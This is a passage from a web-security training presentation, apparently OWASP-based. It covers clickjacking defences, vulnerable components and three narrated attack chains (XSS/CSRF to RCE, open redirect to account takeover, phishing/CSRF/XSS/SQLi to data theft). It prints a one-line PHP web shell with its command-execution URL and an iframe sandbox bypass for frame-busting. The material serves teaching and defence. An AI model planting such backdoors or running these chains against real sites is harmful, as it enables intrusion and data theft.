- Use JavaScript iframe busting techniques :

<script type="text/javascript">
//Disable frame hijacking
//Check if our website is the top one not the child
if (top != self)
//if the website is not the top one, change the browser location to our main url
top.location.href = location.href;
</script>
9. Click jacking AKA UI Redressing

But Is that enough ?!


9. Click jacking AKA UI Redressing

You’re right, This could be bypassed !


Modern browsers supports HTML5 with a lot of attributes, One of them called “sandbox” which is when it’s value equals “allow-
forms” will be responsible for disabling all the JavaScript in the targeted page but here is the magic, All the FROMS will work
properly.

<html><body>
<iframe id="clickjacking" src=“https://www.VulnerableDomain.com" width="700" height="500" sandbox="allow-forms">
</iframe></body>
</html>

The best mitigation?


-Add the X-Frame-Options HTTP Header and set it's value to "DENY" or “SAMEORIGIN" choose the best suitable for you.

<IfModule mod_headers.c>
# Apache Server Clickjacking Mitigation
# SAMEORIGIN or DENY you can use any of them according to your usage/usability
Header always append X-Frame-Options SAMEORIGIN
</IfModule>
10. Using Components with Known Vulnerabilities

Introduction
This kind of bugs is so clear, You will be hardly vulnerable if you’re using any components with a known vulnerabilities!
Components like “Frameworks”, “Libraries”, “CMS”, “Plugins”, “Themes”, etc…

Where can I search for the known vulnerabilities?

- MITRE > Provides and identify all the known vulnerabilities with CVE numbers (Common Vulnerabilities and Exposures).
- NIST > National Institute of Standards and Technology.
- CVE > Common Vulnerabilities and Exposures.
- CVSS > Common Vulnerability Scoring System.
- NVD > National Vulnerability Database.
10. Using Components with Known Vulnerabilities

Mitigation and Prevention:

-Identify all components and the versions you are using, including all dependencies. (e.g., the
plugins versions).

-Monitor the security of these components in previous public mentioned databases, project
mailing lists, and security mailing lists, and keep them up to date.

-Custom security tests and code reviews.

-Disable unused functionality and/ or secure weak or vulnerable aspects of the component.
Shit in the MIX
Combo #1 : From XSS, CSRF to RCE

The attack scenario:


1- A script is vulnerable to CSRF.
2- This RCE is only exploitable only if you're admin.
3- So normal users can't exploit it.
4- The script is also vulnerable to persistent XSS.
5- The Attacker exploited the stored xss vulnerability.
6- The admin is reviewing his panel.
7- The stored xss vulnerability was reflected on the admin's panel.
8- The admin got XSSed with a JavaScript attack vector.
9- The admin can edit the script's PHP files but the edit option is protected against CSRF attacks.
10- The stored xss payload is used to read the Anti-CSRF token value and perform a CSRF attack to edit a
specific php file to add a mini php backdoor.
11- This file was publicly accessible (passive users can access the file)
12- The backdoor added was <?php system($_GET[m]);?>
13- Now the attacker will have full command execution scenario just by calling "vulnerable_file.php?m=whoami"
14- Boom
Guess what!!!
The Vulnerable Script was WordPress
Combo #2 : From Open Redirection, Improper hashing
implementation, Information Leakage to Full Account
Takeover

The Attack scenario:


1. Open Redirection Vulnerability in the service facebook app.
2. The open redirection returns with a 3 critical parameters (token, passmd5, login).
3. Attacker wrote a little grabbing script to steal these 3 critical parameters.
4. Guess what? Password was encrypted in MD5 and sent via GET request.
5. Thanks to the bad encrypt implementation, attacker don't need to crack the password to login.
6. Attacker will pass these 3 parameters to the login vulnerable backend.
7. Attacker is now owned the Victim's account.
8. Boom.
The Service was BitDefender Mobile Security
Combo #3 : Information Disclosure, Social Engineering,
CSRF, XSS, SQLi to Full Customer Data Compromise

Company Name:
X e-Commerce Company

The Attack scenario:


1. The Attacker got some valuable information about the web technology used by the company (information gathering).
2. This technologies are behind a firewall and only accessible through VPN with a proper access control.
3. The Attacker tricked an internal employee that he have an issue with an order.
4. The Attacker sent the employee an email contains some links.
5. Due to the insufficient security awareness, the employee clicked the link which seems something interested.
6. The link leads to a well coded exploit scenario.
7. The e-commerce backend was vulnerable to CSRF attack.
8. The CSRF attack forced the employee to edit order information and store an XSS payload in the orders table.
9. Orders table is accessible by the administrator.
10. The Administrator was reviewing the orders table.
11. The payload injected was to inject a very special JS library.
12. The special library was BeEF with the powerful reverse JS connection.
13. The Admin left his PC opened but fortunately the browser still on the vulnerable orders page.
14. The Attacker had the time to send http requests examining the backend for SQL Injection vulnerability.
15. The Attacker found a SQL Injection vulnerability.
16. The Attacker now could be able to dump some data and send it back to his own server.
17. Boom.
BeEF – The Browser Exploitation Framework Project

Figure (0) - BeEF with a hooked browser reverse connection via Stored XSS
References:
 http://www.sitepoint.com/stored-procedures-mysql-php/
 https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
 https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
 http://www.acros.si/papers/session_fixation.pdf
 http://fishbowl.pastiche.org/archives/docs/PasswordRecovery.pdf
 http://hakipedia.com/index.php/Poison_Null_Byte
 https://www.youtube.com/watch?v=pYCzuq7cptI
 https://www.youtube.com/watch?v=tvx-le_xCW0
 https://www.youtube.com/watch?v=vTYUM3J8I_k
 https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
 https://www.owasp.org/index.php/ESAPI
 http://www.w3schools.com/tags/att_iframe_sandbox.asp
 http://www.youtube.com/watch?v=QMquAVIV8Ys
 http://beefproject.com/
 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
 https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository

Вам также может понравиться